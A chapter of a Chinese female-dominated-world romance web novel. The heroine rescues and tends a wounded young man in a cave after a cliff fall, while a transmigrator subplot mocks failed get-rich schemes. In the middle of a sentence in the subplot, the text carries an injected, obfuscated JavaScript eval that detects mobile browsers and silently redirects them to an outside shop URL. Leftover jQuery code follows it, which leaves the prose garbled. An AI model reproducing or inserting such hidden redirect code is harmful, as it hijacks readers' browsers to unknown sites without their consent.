文趣网 > 其他小说 > 太孙好细腰(女尊) > 13. 色气珠儿诱乖宝
    姜宸心头一紧,立刻捞住他的腰,奋力带着他往岸边游。两人衣服厚重,吸了水更是沉重,姜宸半拖半抱,才好不容易把浑身湿透的姬珠鲤挪上布满鹅卵石的岸边。

    浸湿的衣料贴在身上,冷风飒飒吹来,姜宸打了个寒颤。

    而姬珠鲤已然人事不省,他的睫毛湿漉漉地垂着,面色惨白如纸,唇瓣血色尽失。

    她连忙趴在他胸口,侧耳听姬珠鲤的心跳,心中松了一口气,还活着。

    此地离掉落的悬崖有一段距离,齐溱恐怕一时半会还找不到她们,她要赶紧找个栖身之所,否则入夜之后更为危险。

    姜宸咬着牙,拖着昏迷不醒的人,顺着崖壁缓步搜寻。

    还好不过多久,她便看见不远处的岩壁之下,藏着一处避风的小山洞,洞口被野草遮掩,干净僻静,恰好能容下两人。

    她搜寻了不少枯枝干草,先用干草铺好山洞,然后把姬珠鲤小心翼翼地安置干草堆上,她放下姬珠鲤时发现他身上的伤口还在不断溢着血。

    她先一点一点脱下姬珠鲤的外衣,在他的袖袋中找到一个火折子和不少金疮药、信号弹等物。

    她安心不少,不愧是行走江湖的人物,物资准备得就是齐全,就是不知道泡水了还能不能使。

    她拔出火折子吹了吹,不多时,竹筒内便冒起了几粒火星,于是立刻生起火堆,暖黄火光驱散了潮湿衣物带来的阴冷寒意,终于没那么冷了,她又找了几根硕大的枯枝,插在火堆旁,把脱下的湿衣挂上去烘干。

    接下来便是处理姬珠鲤的伤口。

    她俯身轻轻褪去他的贞覆,贞覆足有两米长,因此拆下来的过程中,她几乎把整条贞覆摸了个遍,无意间摸到墨色贞覆背面绣着一些图案,她细细辨认才看清,上面绣着的是“平安喜乐,岁岁无忧”八个字。

    而这八个字与姬敏字迹一模一样,姜宸忍不住看向身旁虚弱昏迷的小郎,难道他的身份是真的?

    姬珠鲤平日里看着清朗端正,即便在颠簸的马车上依旧坐得板板正正,而此时的他正无意识蹙着眉,呼吸轻浅又微弱,姜宸心底有些许愧疚,再不敢耽搁。

    鲜血已把姬珠鲤的白色亵衣染成了血衣,她缓缓剥下血衣,在火光映衬下冷白的肌肤上遍布或深或浅的伤口,看着触目惊心。

    好在都不致命,她连忙撕开自己的衣物,趁着布料还湿着,轻轻擦去伤口污痕,等水迹干涸后,再细细洒上金疮药。

    正面的伤口处理好,她把姬珠鲤面对面抱在怀里,准备帮他清理背后伤口。

    远远望去两个人肌肤相亲,仿佛在行最亲密之事。

    她看到姬珠鲤背后果然有一个心形胎记,悄悄用指腹蹭了蹭,那胭脂色胎记确实长在皮肉上,不像作假。

    她正看着,耳突然响起一道沙哑的声音:“你……别碰我!”

    姬珠鲤不知道什么时候醒了,双眸恨恨地看着她,见她二人此时暧昧的姿势,便伸出双手抵着她的肩膀拼命想推开她,可惜此刻他弱不禁风,面对姜宸的强势犹如蚍蜉撼树。

    姜宸叹了口气,苍天可鉴,她这次真没有半点色心。

    “放心,我对你的身子不感兴趣,乖乖别动,我给你包扎伤口。”

    毕竟她见过左契郎的荼靡艳丽,也见过竹奉郎床下清冷床上勾人模样,想来再浪的男子也比不过他。

    而姬珠鲤一看就是不知风情的小少男,他皮肤再莹白细腻,身躯再楚楚可怜,肌肉再如何修长匀称,她都没有任何想法。

    绝对没有!

    姬珠鲤推了几下很快便推不动,手臂软软滑下,脑袋无力地靠在姜宸肩膀上,姜宸则趁机给他处理好背后伤势。

    她刚把姬珠鲤放下,便听见姬珠鲤在喃喃着什么,姜宸凝神细听。

    “娘……狗太孙……血债血偿……”

    怎么还有她的事?她见姬珠鲤长睫不安地颤抖着,苍白的肤色上泛开点点绯红,于是一摸他的额头,好烫。

    姬珠鲤双臂本能地环抱住自己,蜷曲着身子,仿佛置身冰天雪地之中,不断打着寒颤。

    “好冷……”

    发烧了?姜宸看了看挂在那还在滴水的衣物,这衣服盖身上会死人。

    救人一命胜造七级浮屠,姜宸认命地脱下贴身衣物,双臂牢牢箍紧姬珠鲤,仿佛抱住了一个暖炉,姬珠鲤似乎察觉到暖意的来源,安静地蜷缩在她怀中。

    姜宸垂眸看着他,清隽平和的淡颜眉眼紧紧蹙起,线条流畅而又高挺的鼻梁下,是紧抿的浅粉色薄唇,呼吸轻浅又急促。

    长得真好看。

    以天为被以地为席,怀里美男暖洋洋的,姜宸心猿意马,抱就抱吧,反正在女尊世界里吃亏的又不是她。

    竹奉郎说过姬珠鲤的肌肤如脂一般细嫩,姜宸便用指腹悄悄掐了下他的小臂,不过一瞬,被掐过的位置便浮起一块红痕。

    她惊诧,皮肤这么嫩的吗?

    姬珠鲤适时哼哼了两声,姜宸回神,不再造次。

    就在她们二人肌肤相贴之时,姒水正骑着马八百里加急赶回太孙府,一见到嬴素便果断下跪。

    “老大救命,我们把太孙弄丢了!”

    一番交代后,嬴素理清了思绪,她收起往日的漫不经心,此刻神情凛冽,锋芒尽显。

    她气极反笑道:“你是说你们带着一队人马上山演戏,结果姬家后人信以为真带殿下跳了崖,而你们一个都没拦住?”

    姒水都快哭出来了,“此事确实是我之过,等找回殿下,老大想怎么罚我都行,齐溱虽已带队去螭河旁搜寻殿下的踪迹,但东灵山位置不小,什么时候找到太孙都是未知之事。”

    嬴素翻身上马,她对众人沉肃道:“太孙殿下不能出事,想要命的就随我一同出去。”

    蓝麟卫整队列装,战马嘶鸣,浩浩荡荡地出发了。

    ***

    元清近期可谓春风得意马蹄疾,托太孙的福,他那迂腐愚钝的母亲终于放松对他的管教,不仅给他钱,还对他温言软语和颜悦色,两个哥哥每次见他,眼里的酸意几乎都要溢出来。

    虽然那两人碍眼,但每次一想起两个哥哥的表情,他心里就一阵暗爽。

    失败者也是有必要存在的。

    只是每月十两银子实在太少,这点钱还不够买两只匕首。

    穿越大男主怎么能满足眼前的蝇头小利,他要想办法赚大钱,不然怎么收服手下,怎么招兵买马推翻女尊统治?

    他看过不少大男主小说,书中主角赚钱的方式要么靠垄断,要么靠扬名。

    垄断简单,只要搞一些肥皂口红之类的发明,牢牢把住核心科技,还不惊掉土著女人的下巴?

    于是他回想自己看过的古法制物视频,千辛万苦做出了一小块肥皂,本打算拿去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676767|207505||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    西坊市大赚一笔,却发现大姻朝早已有替代品软香膏,还香气怡人物美价廉,自己的土法肥皂一点优势都没有。

    肥皂暴富计划中道崩阻。

    失败乃成功之母,他又尝试以诗扬名,到时候做个京城顶流,等名气起来了卖什么都有人要,钱还不是滚滚来。

    反正穿越男主没有不抄的,他也就心安理得当个文抄公,打算默写些李太白、杜大人的传世绝句,毕竟以他们的文采在哪个朝代都是惊艳之作,不怕土著不识货。

    万万没想到他默写一晚上的诗集当天就被小爹看见,小爹却问他为何誊抄初童诗集。

    他听小爹的解释才知道,他所谓的超前绝句在大姻朝竟然已是普及的基础教育,几乎每个上过学的人都能吟出几句千金散尽还复来,一夜鱼龙舞之类的神句。

    这些原著没写啊,他不禁愤懑,究竟哪个穿越前辈把他的路都走窄了?

    好在他知道剧情,听闻数十年前有一富商在螭河沉了十万两黄金,要是找到这些财产,他也不用到处想法子。

    那是书中后期的剧情,主角二人打算起兵,但奈何粮草不足,于是便想起富商沉金的传说,恰好刺客搅局,男主意外掉落螭河,最后还真的找到了黄金,解决了燃眉之急。

    男主不就是自己吗?只要自己来螭河逛逛,肯定能找到。

    他以还书之名顺利地溜出门,顺利地租到马车,顺利地来到螭河边,唯一不顺利的地方便是——他迷路了。

    元清拍飞一只蚊子,两手不断拨开碍眼的灌木,眼前俱是景色一致的郁郁葱葱,早已辨不清方向,他狠狠踢开挡路碎石,道:“这鬼地方,原著男主究竟怎么找到黄金的。”

    他出门太急,连水和干粮都没带,渴的话还好说,旁边就是螭河,但饿的话就难办了。

    他五谷不分,又不认识野菜野果,走了半天腿脚酸软,胃逐渐抽痛,咕噜咕噜响了起来,他毫不怀疑眼前要是有一只猪他都能生啃得下。

    他祈祷道:快点来个人吧,不然他就要变成第一个被饿死的大男主了。

    就在他迷茫后悔之际,他无意间抬头一看,前方不远处竟然有一道灰烟升起,难道前面有人?

    有人就可能有吃的,他心中暗喜,自己不愧是男主角待遇,老天爷还是眷顾他的,于是瞬间来了力气,向烟柱方向赶去。

    山崖下的螭河旁,齐溱沉着脸,默然地砍着挡路树枝,横叉的树枝被砍得七零八落,簌簌落下。

    身后属下们大气都不敢喘一声,生怕惹了眼前这位压制怒气的护卫长,就在她们茫然寻找时,身旁有人喊道:“齐队长,那里有道烟柱。”

    齐溱神情一震,她看着烟柱方向,下令道:“不管那里有何人,先去看看,走。”

    她眸中闪过一丝冷意,殿下要是出了什么事,那些蓝麟卫她一个也不会放过。

    姜宸抱着姬珠鲤已经有一会儿了,起初她因美男在怀,恰好美男长得赏心悦目,她还有些欣喜,但维持一个动作久了,不免胳膊酸痛,沉闷无聊。

    本想起身看看衣物是否晾干,无奈姬珠鲤刚刚还如软糖般柔弱无力,现在又似八爪鱼般缠人得紧,抱得她无法动弹。

    要是来个人帮忙就好了。

    耳旁听见枝叶拨开的簌簌轻响,姜宸还以为自己无聊出了幻觉。她抬头看去,见到来人的瞬间唇角一僵,怎么会是他?